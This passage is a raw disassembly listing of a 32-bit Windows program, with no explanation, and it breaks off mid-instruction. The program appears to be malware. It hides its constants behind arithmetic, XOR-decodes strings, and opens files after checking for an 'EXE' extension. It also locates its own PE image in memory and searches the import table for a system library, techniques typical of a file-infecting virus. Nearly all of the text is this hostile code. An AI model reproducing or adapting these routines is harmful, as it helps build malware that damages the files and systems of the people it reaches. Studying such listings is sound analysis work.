[ebp+arg_0] lea eax, [ebp+var_117F] push eax call ds:dword_4491A4 add esp, 8 mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_43A9E5: ; CODE XREF: sub_4395D8+1412j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43A9E5 mov [ebp+var_31EDC], eax mov edx, dword_54F1DC movsx ecx, word_54F198 add edx, ecx sub eax, edx mov [ebp+eax+var_117F], 72h mov eax, [ebp+var_31EDC] movsx edx, word_54F208 add edx, 2 sub eax, edx mov [ebp+eax+var_117F], 69h mov eax, [ebp+var_31EDC] mov edx, dword_54F178 sub edx, 7 sub eax, edx mov [ebp+eax+var_117F], 76h mov eax, dword_54F134 sub eax, 2 push eax mov eax, dword_54F18C sub eax, 1 push eax push 2 movsx eax, word_54F0B4 sub eax, 5 push eax mov eax, dword_54F0AC sub eax, 7 push eax push 40000000h lea eax, [ebp+var_117F] push eax call ds:dword_54DB18 mov [ebp+var_1074], eax mov eax, dword_54F17C sub eax, 7 push eax lea eax, [ebp+var_31EE0] push eax push [ebp+var_10] push [ebp+var_4] push [ebp+var_1074] call ds:dword_54DF1C push [ebp+var_1074] call ds:dword_4CB948 push [ebp+var_4] call ds:dword_4495CC push 0 push [ebp+arg_0] lea eax, [ebp+var_117F] push eax call ds:dword_4CA544 lea eax, [ebp+var_117F] push eax call ds:dword_44600C mov eax, 1 jmp short loc_43AAF2 ; --------------------------------------------------------------------------- loc_43AADB: ; CODE XREF: sub_4395D8+117j ; sub_4395D8+131j ... push [ebp+var_1074] call ds:dword_4CB948 push [ebp+var_4] call ds:dword_4495CC xor eax, eax loc_43AAF2: ; CODE XREF: sub_4395D8+9Dj ; sub_4395D8+1501j pop edi pop esi pop ebx leave retn sub_4395D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43AAF7 proc near ; CODE XREF: sub_438324+426p ; sub_438324+475p ... var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] cmp dword_54F250, 0 jnz short loc_43AB1F push offset dword_54E050 call ds:dword_447FCC mov dword_54F250, 1 loc_43AB1F: ; CODE XREF: sub_43AAF7+11j mov esi, dword_54F134 inc esi movzx ebx, byte ptr [edi] movzx edx, byte ptr [edi+1] movzx edx, dx shl edx, 8 or ebx, edx movzx ebx, bx add esi, ebx mov [ebp+var_4], si movzx eax, [ebp+var_4] mov edx, dword_54F158 add edx, dword_54F230 dec edx cmp eax, edx jz loc_43ABDE push offset dword_54E050 call ds:dword_54C95C movsx eax, word_54F0F4 movsx edx, word_54F144 add eax, edx sub eax, 3 mov [ebp+var_2], ax jmp short loc_43AB90 ; --------------------------------------------------------------------------- loc_43AB7B: ; CODE XREF: sub_43AAF7+A3j movzx eax, [ebp+var_2] add eax, edi movsx edx, byte ptr [eax] movsx ecx, byte ptr [edi+2] xor edx, ecx mov [eax], dl inc [ebp+var_2] loc_43AB90: ; CODE XREF: sub_43AAF7+82j movzx eax, [ebp+var_2] movzx edx, [ebp+var_4] cmp eax, edx jl short loc_43AB7B movsx eax, word_54F0CC dec eax movsx edx, word_54F0F8 sub edx, 5 mov [edi+eax], dl movsx eax, word_54F198 add eax, dword_54F1C8 sub eax, 8 mov edx, dword_54F0E0 add edx, dword_54F124 sub edx, 8 mov [edi+eax], dl push offset dword_54E050 call ds:dword_4CB940 loc_43ABDE: ; CODE XREF: sub_43AAF7+5Aj lea eax, [edi+3] pop edi pop esi pop ebx leave retn sub_43AAF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ABE6 proc near ; CODE XREF: sub_43ADF1+2C8p ; sub_43E77A+1ADp var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h var_31C = dword ptr -31Ch var_316 = byte ptr -316h var_212 = byte ptr -212h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 32Ch push ebx push esi push edi push [ebp+arg_4] call ds:dword_50C924 pop ecx push [ebp+arg_0] lea eax, [ebp+var_316] push eax call sub_4455D4 lea ecx, [ebp+var_316] or eax, 0FFFFFFFFh loc_43AC14: ; CODE XREF: sub_43ABE6+33j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43AC14 mov edx, dword_54F204 add edx, dword_54F098 sub edx, 0Ah mov ebx, eax sub ebx, edx mov edx, dword_54F180 mov [ebp+ebx+var_316], dl mov eax, dword_54F154 movsx edx, word_54F104 mov edi, eax add edi, edx sub edi, 8 loc_43AC4E: ; CODE XREF: sub_43ABE6+16Fj mov eax, edi mov ecx, dword_54F0C8 inc ecx mul ecx mov [ebp+var_320], eax movsx eax, [ebp+edi+var_316] mov edx, [ebp+var_320] mov [ebp+edx+var_212], al mov eax, edi mov ecx, dword_54F0E4 sub ecx, 3 mul ecx mov [ebp+var_324], eax mov eax, dword_54F1A0 add eax, dword_54F19C sub eax, 0Bh mov edx, [ebp+var_324] add edx, eax mov eax, dword_54F1BC add eax, dword_54F238 sub eax, 6 mov [ebp+edx+var_212], al movsx eax, [ebp+edi+var_316] movsx edx, word_54F1F0 add edx, dword_54F10C sub edx, 8 cmp eax, edx jnz loc_43AD54 mov eax, edi mov ecx, dword_54F17C sub ecx, 5 mul ecx mov [ebp+var_328], eax mov eax, dword_54F0E4 add eax, dword_54F098 sub eax, 0Bh mov edx, [ebp+var_328] add edx, eax movsx eax, word_54F1A8 mov [ebp+edx+var_212], al mov eax, edi mov ecx, dword_54F150 add ecx, dword_54F134 sub ecx, 4 mul ecx mov [ebp+var_32C], eax mov eax, dword_54F16C movsx edx, word_54F0F8 add eax, edx sub eax, 8 mov edx, [ebp+var_32C] add edx, eax movsx eax, word_54F190 add eax, dword_54F0E4 sub eax, 0Dh mov [ebp+edx+var_212], al jmp short loc_43AD5A ; --------------------------------------------------------------------------- loc_43AD54: ; CODE XREF: sub_43ABE6+E6j inc edi jmp loc_43AC4E ; --------------------------------------------------------------------------- loc_43AD5A: ; CODE XREF: sub_43ABE6+16Cj mov eax, dword_54F124 sub eax, 2 cmp dword_54F26C, eax jz short loc_43ADCB lea eax, [ebp+var_212] push eax mov eax, dword_54F1D4 sub eax, 8 push eax call ds:dword_4495B4 mov esi, eax or esi, esi jz short loc_43ADCB mov eax, dword_54F1A0 add eax, dword_54F19C sub eax, 0Ch cmp dword_54F270, eax jz short loc_43ADEC mov eax, dword_54F0D8 add eax, dword_54F12C sub eax, 0Dh neg eax push eax lea eax, [ebp+var_212] push eax movsx eax, word_54F118 add eax, dword_54F18C sub eax, 9 push eax call ds:dword_446024 loc_43ADCB: ; CODE XREF: sub_43ABE6+182j ; sub_43ABE6+19Ej push ds:dword_4495C4 push ds:dword_4CC8FC lea eax, [ebp+var_316] push eax call sub_4395D8 add esp, 0Ch mov [ebp+var_31C], eax loc_43ADEC: ; CODE XREF: sub_43ABE6+1B4j pop edi pop esi pop ebx leave retn sub_43ABE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43ADF1 proc near ; CODE XREF: sub_43E77A+183p var_12110 = byte ptr -12110h var_1210C = word ptr -1210Ch var_1210A = word ptr -1210Ah var_12108 = dword ptr -12108h var_12104 = byte ptr -12104h var_12000 = word ptr -12000h var_11FFE = byte ptr -11FFEh var_1FFF = byte ptr -1FFFh var_1FB3 = byte ptr -1FB3h var_1FB2 = byte ptr -1FB2h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 12110h call sub_4455B4 push ebx push esi push edi push [ebp+arg_0] lea eax, [ebp+var_12104] push eax call sub_4455D4 lea ecx, [ebp+var_12104] or eax, 0FFFFFFFFh loc_43AE19: ; CODE XREF: sub_43ADF1+2Dj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43AE19 mov ebx, dword_54F1B4 sub ebx, 3 mov esi, eax sub esi, ebx movsx ebx, word_54F0D0 sub ebx, 6 mov [ebp+esi+var_12104], bl movsx eax, word_54F194 add eax, dword_54F18C sub eax, 2 push eax movsx eax, word_54F144 sub eax, 4 push eax push 3 movsx eax, word_54F1E8 add eax, dword_54F1B8 sub eax, 0Bh push eax push dword_54F1DC push 80000001h lea eax, [ebp+var_12104] push eax call ds:dword_54DB18 mov edi, eax cmp edi, 0FFFFFFFFh jz loc_43B0C1 movsx eax, word_54F240 sub eax, 8 push eax lea eax, [ebp+var_12110] push eax push 1FFFh lea eax, [ebp+var_1FFF] push eax push edi call ds:dword_446034 mov [ebp+var_12108], eax push edi call ds:dword_4CB948 cmp [ebp+var_1FFF], 4Ch jnz loc_43B0C1 mov eax, dword_54F0AC sub eax, 7 cmp [ebp+var_12108], eax jz loc_43B0C1 movzx esi, [ebp+var_1FB3] movzx ebx, [ebp+var_1FB2] movzx ebx, bx shl ebx, 8 or esi, ebx mov [ebp+var_1210A], si movzx eax, [ebp+var_1210A] mov edx, dword_54F1DC add edx, 44h add edx, dword_54F108 add eax, edx mov edx, dword_54F0F0 dec edx add eax, edx mov [ebp+var_12000], ax movzx eax, [ebp+var_12000] movsx eax, [ebp+eax+var_1FFF] movsx edx, word_54F0FC add edx, dword_54F1B4 sub edx, 6 cmp eax, edx jz loc_43B0C1 movzx eax, [ebp+var_12000] mov edx, dword_54F1FC add edx, 3 add edx, dword_54F0E4 add eax, edx movsx eax, [ebp+eax+var_1FFF] mov edx, dword_54F0BC add edx, dword_54F188 sub edx, 4 cmp eax, edx jnz loc_43B0C1 movzx eax, [ebp+var_12000] mov edx, dword_54F20C add edx, 0Ch mov ecx, eax add ecx, edx movzx edx, [ebp+ecx+var_1FFF] mov esi, dword_54F090 add esi, 0Dh mov ebx, eax add ebx, esi movzx esi, [ebp+ebx+var_1FFF] movzx esi, si shl esi, 8 mov ebx, edx or ebx, esi mov esi, ebx movzx esi, si mov ebx, eax add ebx, esi mov esi, ebx mov [ebp+var_1210C], si movzx eax, [ebp+var_1210C] lea eax, [ebp+eax+var_1FFF] push eax lea eax, [ebp+var_11FFE] push eax call sub_4455D4 lea ecx, [ebp+var_11FFE] or eax, 0FFFFFFFFh loc_43AFF7: ; CODE XREF: sub_43ADF1+20Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43AFF7 mov edi, eax mov eax, edi sub eax, dword_54F090 cmp [ebp+eax+var_11FFE], 2Eh jnz short loc_43B08F mov eax, dword_54F1F4 add eax, dword_54F0E8 sub eax, 7 mov edx, edi sub edx, eax movsx eax, [ebp+edx+var_11FFE] push eax call ds:dword_44603C add esp, 4 cmp eax, 45h jnz short loc_43B08F mov esi, dword_54F098 add esi, dword_54F188 sub esi, 0Ch mov ebx, edi sub ebx, esi movsx esi, [ebp+ebx+var_11FFE] push esi call ds:dword_44603C add esp, 4 cmp eax, 58h jnz short loc_43B08F mov esi, dword_54F170 add esi, dword_54F14C sub esi, 5 mov ebx, edi sub ebx, esi movsx esi, [ebp+ebx+var_11FFE] push esi call ds:dword_44603C add esp, 4 cmp eax, 45h jz short loc_43B091 loc_43B08F: ; CODE XREF: sub_43ADF1+21Fj ; sub_43ADF1+248j ... jmp short loc_43B0C1 ; --------------------------------------------------------------------------- loc_43B091: ; CODE XREF: sub_43ADF1+29Cj push offset dword_550820 call sub_43AAF7 push eax lea edi, [ebp+var_11FFE] push edi call ds:dword_44602C mov eax, dword_54F0D8 sub eax, 6 push eax lea eax, [ebp+var_11FFE] push eax call sub_43ABE6 add esp, 14h loc_43B0C1: ; CODE XREF: sub_43ADF1+99j ; sub_43ADF1+D8j ... pop edi pop esi pop ebx leave retn sub_43ADF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B0C6 proc near ; CODE XREF: sub_441ADA+63p var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = word ptr -80h var_40 = word ptr -40h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 90h push ebx push esi push edi mov ebx, dword_54F090 sub ebx, 4 jmp short loc_43B0EC ; --------------------------------------------------------------------------- loc_43B0DD: ; CODE XREF: sub_43B0C6+30j mov edx, dword_54F178 sub edx, 9 mov [ebp+ebx*2+var_40], dx inc ebx loc_43B0EC: ; CODE XREF: sub_43B0C6+15j mov eax, dword_54F248 add eax, 1Ch cmp ebx, eax jb short loc_43B0DD movsx eax, word_54F1F0 movsx edx, word_54F148 mov esi, eax add esi, edx sub esi, 7 jmp short loc_43B120 ; --------------------------------------------------------------------------- loc_43B10F: ; CODE XREF: sub_43B0C6+65j mov edx, esi shl edx, 1 mov ecx, [ebp+arg_4] mov cx, [ecx+esi*2] mov [ebp+edx+var_80], cx inc esi loc_43B120: ; CODE XREF: sub_43B0C6+47j mov eax, dword_54F114 lea eax, [eax+eax+1Eh] cmp esi, eax jb short loc_43B10F lea eax, dword_54CAC0 mov [ebp+var_88], eax mov eax, dword_54F1D0 sub eax, 7 mov [ebp+var_84], eax loc_43B147: ; CODE XREF: sub_43B0C6+12Cj ; sub_43B0C6+144j push [ebp+var_84] push [ebp+arg_0] call sub_43FB90 add esp, 8 mov [ebp+var_8C], eax mov eax, dword_54F0BC inc eax cmp [ebp+var_8C], eax jnz short loc_43B1A7 lea eax, [ebp+var_80] push eax lea eax, [ebp+var_40] push eax call sub_443AFA mov [ebp+var_90], eax push [ebp+var_88] lea eax, [ebp+var_40] push eax call sub_440478 add esp, 10h or eax, eax jz short loc_43B1A7 push [ebp+var_88] lea eax, [ebp+var_40] push eax call sub_43946B add esp, 8 loc_43B1A7: ; CODE XREF: sub_43B0C6+A4j ; sub_43B0C6+CDj inc [ebp+var_84] mov eax, dword_54F238 add eax, 20h mov edx, dword_54F1DC add edx, 0Ah add edx, dword_54F0E0 imul eax, edx cmp [ebp+var_84], eax jnb short loc_43B20F lea eax, [ebp+var_80] push eax call sub_43B71B mov [ebp+var_90], eax push [ebp+var_88] lea eax, [ebp+var_80] push eax call sub_440478 add esp, 0Ch or eax, eax jz loc_43B147 push [ebp+var_88] lea eax, [ebp+var_80] push eax call sub_43946B add esp, 8 jmp loc_43B147 ; --------------------------------------------------------------------------- loc_43B20F: ; CODE XREF: sub_43B0C6+107j mov edi, dword_54F228 sub edi, 8 jmp short loc_43B22B ; --------------------------------------------------------------------------- loc_43B21A: ; CODE XREF: sub_43B0C6+16Fj mov edx, edi shl edx, 1 mov ecx, [ebp+arg_0] mov dx, [ebp+edx+var_40] mov [ecx+edi*2], dx inc edi loc_43B22B: ; CODE XREF: sub_43B0C6+152j mov eax, dword_54F10C add eax, 1Eh cmp edi, eax jb short loc_43B21A pop edi pop esi pop ebx leave retn sub_43B0C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B23C proc near ; CODE XREF: sub_443E8D+EBp ; sub_443E8D+113p ... var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx push ebx push edi movzx eax, [ebp+arg_0] mov ecx, 2Bh mov edx, 2FA0BE83h mul edx shr edx, 3 mov [ebp+var_4], edx mov edi, edx mov ebx, edi mov [ebp+arg_0], bl movzx eax, [ebp+arg_0] movsx edx, word_54F198 mov ecx, dword_54F1AC lea edx, [edx+ecx+1] cmp eax, edx jnz short loc_43B282 mov eax, 6Fh jmp loc_43B305 ; --------------------------------------------------------------------------- loc_43B282: ; CODE XREF: sub_43B23C+3Aj movzx eax, [ebp+arg_0] mov edx, dword_54F1AC movsx ecx, word_54F244 add edx, ecx sub edx, 8 cmp eax, edx jnz short loc_43B2A3 mov eax, 79h jmp short loc_43B305 ; --------------------------------------------------------------------------- loc_43B2A3: ; CODE XREF: sub_43B23C+5Ej movzx eax, [ebp+arg_0] mov edx, dword_54F130 add edx, 2 cmp eax, edx jnz short loc_43B2BB mov eax, 69h jmp short loc_43B305 ; --------------------------------------------------------------------------- loc_43B2BB: ; CODE XREF: sub_43B23C+76j movzx eax, [ebp+arg_0] mov edx, dword_54F1AC add edx, dword_54F11C sub edx, 4 cmp eax, edx jnz short loc_43B2D9 mov eax, 65h jmp short loc_43B305 ; --------------------------------------------------------------------------- loc_43B2D9: ; CODE XREF: sub_43B23C+94j movzx eax, [ebp+arg_0] mov edx, dword_54F110 sub edx, 4 cmp eax, edx jnz short loc_43B2F1 mov eax, 61h jmp short loc_43B305 ; --------------------------------------------------------------------------- loc_43B2F1: ; CODE XREF: sub_43B23C+ACj movzx eax, [ebp+arg_0] mov edx, dword_54F0E8 inc edx cmp eax, edx jnz short loc_43B305 mov eax, 75h loc_43B305: ; CODE XREF: sub_43B23C+41j ; sub_43B23C+65j ... pop edi pop ebx leave retn sub_43B23C endp ; =============== S U B R O U T I N E ======================================= sub_43B309 proc near ; CODE XREF: sub_444ED7+11p push edi push offset byte_550811 call sub_43AAF7 pop ecx push eax call ds:dword_449598 mov dword_54F274, eax mov eax, dword_54F0C0 movsx edx, word_54F1CC add eax, edx sub eax, 0Bh cmp dword_54F274, eax jnz short loc_43B351 push offset word_550802 call sub_43AAF7 pop ecx push eax call ds:dword_48A218 mov dword_54F274, eax loc_43B351: ; CODE XREF: sub_43B309+2Fj push offset word_5507EE call sub_43AAF7 pop ecx push eax push dword_54F274 call ds:dword_4491AC mov ds:dword_489A00, eax pop edi retn sub_43B309 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B370 proc near ; CODE XREF: sub_43F052+5A5p ; sub_43F052+614p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, [ebp+arg_8] mov edx, [ebp+arg_C] not edx mov ecx, esi or ecx, edx xor eax, ecx mov edx, edi add edx, eax mov eax, edx add eax, [ebp+arg_10] mov edi, eax add edi, [ebp+arg_18] push [ebp+arg_14] push edi call sub_43D3EA add esp, 8 mov edi, eax add edi, esi mov eax, edi pop edi pop esi pop ebp retn sub_43B370 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B3AD proc near ; CODE XREF: sub_444250+2AAp var_54 = byte ptr -54h var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 54h push ebx push esi push edi mov esi, [ebp+arg_0] push 4 push 1000h mov eax, [ebp+arg_4] add eax, 40h jge short loc_43B3CB add eax, 3Fh loc_43B3CB: ; CODE XREF: sub_43B3AD+19j sar eax, 6 mov edi, eax shl edi, 6 push edi push 0 call ds:dword_48A21C mov [ebp+var_14], eax mov edi, [ebp+arg_4] movsx edx, word_54F208 mov ecx, dword_54F234 lea edx, [edx+ecx+37h] mov eax, edi add eax, edx jge short loc_43B3FC add eax, 3Fh loc_43B3FC: ; CODE XREF: sub_43B3AD+4Aj sar eax, 6 movsx edi, word_54F190 mov ecx, dword_54F1F8 lea edi, [edi+ecx+35h] mov edx, eax imul edx, edi push edx push [ebp+var_14] call ds:dword_446038 push [ebp+arg_4] push esi push [ebp+var_14] call ds:dword_4CB814 lea eax, [ebp+var_10] push eax call sub_43FA9F add esp, 10h mov esi, [ebp+var_14] movsx eax, word_54F104 movsx edx, word_54F198 mov ebx, eax add ebx, edx dec ebx jmp short loc_43B46F ; --------------------------------------------------------------------------- loc_43B450: ; CODE XREF: sub_43B3AD+DCj push esi lea eax, [ebp+var_10] push eax call sub_43F052 add esp, 8 mov eax, dword_54F100 add eax, 2Fh add eax, dword_54F120 lea esi, [esi+eax] inc ebx loc_43B46F: ; CODE XREF: sub_43B3AD+A1j mov edi, [ebp+arg_4] mov edx, dword_54F1F4 add edx, 37h mov eax, edi add eax, edx jge short loc_43B484 add eax, 3Fh loc_43B484: ; CODE XREF: sub_43B3AD+D2j sar eax, 6 cmp ebx, eax jl short loc_43B450 push 8000h mov eax, dword_54F124 sub eax, 2 push eax push [ebp+var_14] call ds:dword_4CB810 lea eax, [ebp+var_54] push eax push [ebp+arg_8] call sub_441ADA mov eax, dword_54F178 add eax, 7 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax call ds:dword_50C940 add esp, 14h mov edi, dword_54F0E4 sub edi, 5 cmp eax, edi jz short loc_43B4DA xor eax, eax inc eax jmp short loc_43B4DC ; --------------------------------------------------------------------------- loc_43B4DA: ; CODE XREF: sub_43B3AD+126j xor eax, eax loc_43B4DC: ; CODE XREF: sub_43B3AD+12Bj pop edi pop esi pop ebx leave retn sub_43B3AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B4E1 proc near ; DATA XREF: .data:0054F2D0o push ebp mov ebp, esp mov eax, dword_54F1D0 sub eax, 7 cmp ds:dword_54DF3C, eax jbe short loc_43B4FF push offset dword_54DF3C call ds:dword_446014 loc_43B4FF: ; CODE XREF: sub_43B4E1+11j mov eax, ds:dword_54DF3C pop ebp retn 4 sub_43B4E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B508 proc near ; DATA XREF: .data:0054F2F4o push ebp mov ebp, esp mov eax, dword_54F230 add eax, dword_54F124 sub eax, 3 cmp ds:dword_4495B8, eax jbe short loc_43B52C push offset dword_4495B8 call ds:dword_446014 loc_43B52C: ; CODE XREF: sub_43B508+17j mov eax, ds:dword_4495B8 pop ebp retn 4 sub_43B508 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B535 proc near ; DATA XREF: sub_441843+53o var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_1FE = byte ptr -1FEh var_FF = byte ptr -0FFh arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 21Ch push ebx push esi push edi lea eax, [ebp+var_210] push eax push offset dword_4490A0 call sub_4437E1 add esp, 8 mov [ebp+var_208], eax movsx eax, word_54F194 movsx edx, word_54F198 add eax, edx sub eax, 2 cmp [ebp+var_208], eax jnz short loc_43B57D xor eax, eax jmp loc_43B70E ; --------------------------------------------------------------------------- loc_43B57D: ; CODE XREF: sub_43B535+3Fj mov eax, dword_54F214 add eax, dword_54F0EC mov [ebp+var_204], eax loc_43B58E: ; CODE XREF: sub_43B535+1C5j mov eax, [ebp+var_204] mov edx, [ebp+var_208] lea ecx, [edx+eax] or eax, 0FFFFFFFFh loc_43B5A0: ; CODE XREF: sub_43B535+70j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43B5A0 mov [ebp+var_20C], eax cmp [ebp+var_20C], 0FFh jnb short loc_43B5E3 mov eax, [ebp+var_204] mov edx, dword_54F224 add edx, dword_54F1F8 sub edx, 3 add eax, edx add eax, [ebp+var_208] push eax lea eax, [ebp+var_FF] push eax call sub_4455D4 loc_43B5E3: ; CODE XREF: sub_43B535+82j movsx esi, word_54F0A8 jmp short loc_43B611 ; --------------------------------------------------------------------------- loc_43B5EC: ; CODE XREF: sub_43B535+EEj cmp [ebp+esi+var_FF], 29h jnz short loc_43B5FE mov [ebp+esi+var_FF], 3Dh loc_43B5FE: ; CODE XREF: sub_43B535+BFj cmp [ebp+esi+var_FF], 28h jnz short loc_43B610 mov [ebp+esi+var_FF], 2Bh loc_43B610: ; CODE XREF: sub_43B535+D1j inc esi loc_43B611: ; CODE XREF: sub_43B535+B5j lea ecx, [ebp+var_FF] or eax, 0FFFFFFFFh loc_43B61A: ; CODE XREF: sub_43B535+EAj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43B61A cmp esi, eax jb short loc_43B5EC push 0FFh lea eax, [ebp+var_1FE] push eax lea eax, [ebp+var_FF] push eax call sub_444AA8 add esp, 0Ch mov ebx, eax movsx edi, word_54F094 sub edi, 2 jmp short loc_43B67C ; --------------------------------------------------------------------------- loc_43B64E: ; CODE XREF: sub_43B535+149j movsx eax, [ebp+edi+var_1FE] mov [ebp+var_218], eax mov eax, edi mul edi mov [ebp+var_21C], eax mov eax, [ebp+var_218] mov edx, [ebp+var_21C] sub eax, edx mov [ebp+edi+var_1FE], al inc edi loc_43B67C: ; CODE XREF: sub_43B535+117j cmp edi, ebx jb short loc_43B64E mov eax, dword_54F23C add eax, dword_54F1EC sub eax, 2 push eax push [ebp+arg_0] lea eax, [ebp+var_1FE] push eax call sub_43DE22 add esp, 0Ch mov [ebp+var_214], eax mov eax, dword_54F180 add eax, 0FFFBh add eax, dword_54F20C cmp [ebp+var_214], eax jz short loc_43B6D0 push [ebp+var_208] call ds:dword_4495CC xor eax, eax inc eax jmp short loc_43B70E ; --------------------------------------------------------------------------- loc_43B6D0: ; CODE XREF: sub_43B535+188j mov eax, [ebp+var_20C] add [ebp+var_204], eax mov eax, dword_54F18C inc eax add eax, dword_54F158 add [ebp+var_204], eax mov eax, [ebp+var_210] cmp [ebp+var_204], eax jb loc_43B58E push [ebp+var_208] call ds:dword_4495CC xor eax, eax loc_43B70E: ; CODE XREF: sub_43B535+43j ; sub_43B535+199j pop edi pop esi pop ebx leave retn sub_43B535 endp ; =============== S U B R O U T I N E ======================================= sub_43B713 proc near ; DATA XREF: .data:0054F2D4o mov eax, 80004001h retn 8 sub_43B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B71B proc near ; CODE XREF: sub_43B0C6+10Dp var_40 = word ptr -40h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push ebx push esi push edi mov esi, [ebp+arg_0] movsx eax, word_54F148 mov edi, eax add edi, dword_54F1C0 sub edi, 2 jmp short loc_43B749 ; --------------------------------------------------------------------------- loc_43B73B: ; CODE XREF: sub_43B71B+3Ej mov ebx, edi shl ebx, 1 mov dx, [esi+edi*2] mov [ebp+ebx+var_40], dx inc edi loc_43B749: ; CODE XREF: sub_43B71B+1Ej mov eax, dword_54F140 add eax, 1Fh add eax, dword_54F1DC cmp edi, eax jb short loc_43B73B lea eax, [ebp+var_40] push eax push esi call sub_443AFA add esp, 8 pop edi pop esi pop ebx leave retn sub_43B71B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43B76D proc near ; CODE XREF: start+1p var_138 = dword ptr -138h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_127 = byte ptr -127h var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_19 = byte ptr -19h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 138h push ebx push esi push edi lea edx, sub_444ED7 mov ecx, dword_54F17C add ecx, 9 mov eax, edx shr eax, cl mov edx, dword_54F230 add edx, 7 add edx, dword_54F1D4 mov ecx, edx mov ebx, eax shl ebx, cl lea eax, sub_444ED7 mov [ebp+var_14], eax loc_43B7AA: ; CODE XREF: sub_43B76D+5Fj ; sub_43B76D+90j ... mov [ebp+var_18], ebx mov eax, ebx cmp word ptr [eax], 5A4Dh jz short loc_43B7CE movsx eax, word_54F148 mov edx, dword_54F0E0 lea eax, [eax+edx+0FFF9h] sub ebx, eax jmp short loc_43B7AA ; --------------------------------------------------------------------------- loc_43B7CE: ; CODE XREF: sub_43B76D+47j mov eax, dword_54F1E0 add eax, 38h mov esi, ebx add esi, eax mov eax, ebx add eax, [esi] mov [ebp+var_10], eax mov ecx, [ebp+var_14] cmp eax, ecx jbe short loc_43B7FF mov eax, dword_54F120 add eax, 0FFF2h movsx edx, word_54F0D0 add eax, edx sub ebx, eax jmp short loc_43B7AA ; --------------------------------------------------------------------------- loc_43B7FF: ; CODE XREF: sub_43B76D+79j mov eax, [ebp+var_10] mov [ebp+var_8], eax movzx eax, word ptr [eax] cmp eax, 4550h jz short loc_43B81F movsx eax, word_54F0F8 add eax, 0FFFBh sub ebx, eax jmp short loc_43B7AA ; --------------------------------------------------------------------------- loc_43B81F: ; CODE XREF: sub_43B76D+A0j mov eax, [ebp+var_8] mov eax, [eax+80h] mov [ebp+var_C], eax mov eax, dword_54F1B4 sub eax, 4 mov [ebp+var_4], eax jmp loc_43B9B7 ; --------------------------------------------------------------------------- loc_43B83B: ; CODE XREF: sub_43B76D+256j mov eax, ebx add eax, [ebp+var_C] add eax, [ebp+var_4] mov [ebp+var_12C], eax mov edx, dword_54F0D4 sub edx, 5 cmp [eax], edx jz loc_43B9C9 mov eax, [ebp+var_12C] mov edx, ebx add edx, [eax+0Ch] mov [ebp+var_130], edx push edx lea eax, [ebp+var_127] push eax call sub_4455D4 mov eax, dword_54F1B0 add eax, dword_54F178 sub eax, 10h mov [ebp+var_28], eax jmp short loc_43B8AD ; --------------------------------------------------------------------------- loc_43B88B: ; CODE XREF: sub_43B76D+156j mov eax, [ebp+var_28] mov al, [ebp+eax+var_127] cmp al, 61h jle short loc_43B8AA cmp al, 7Ah jge short loc_43B8AA mov eax, [ebp+var_28] lea eax, [ebp+eax+var_127] sub byte ptr [eax], 20h loc_43B8AA: ; CODE XREF: sub_43B76D+12Aj ; sub_43B76D+12Ej inc [ebp+var_28] loc_43B8AD: ; CODE XREF: sub_43B76D+11Cj mov eax, [ebp+var_28] movsx eax, [ebp+eax+var_127] mov edx, dword_54F1B8 sub edx, 4 cmp eax, edx jnz short loc_43B88B mov eax, dword_54F160 cmp byte ptr [ebp+eax+var_12C+3], 4Ch jnz loc_43B9B3 mov edx, dword_54F098 cmp byte ptr [ebp+edx+var_12C+2], 33h jnz loc_43B9B3 cmp byte ptr 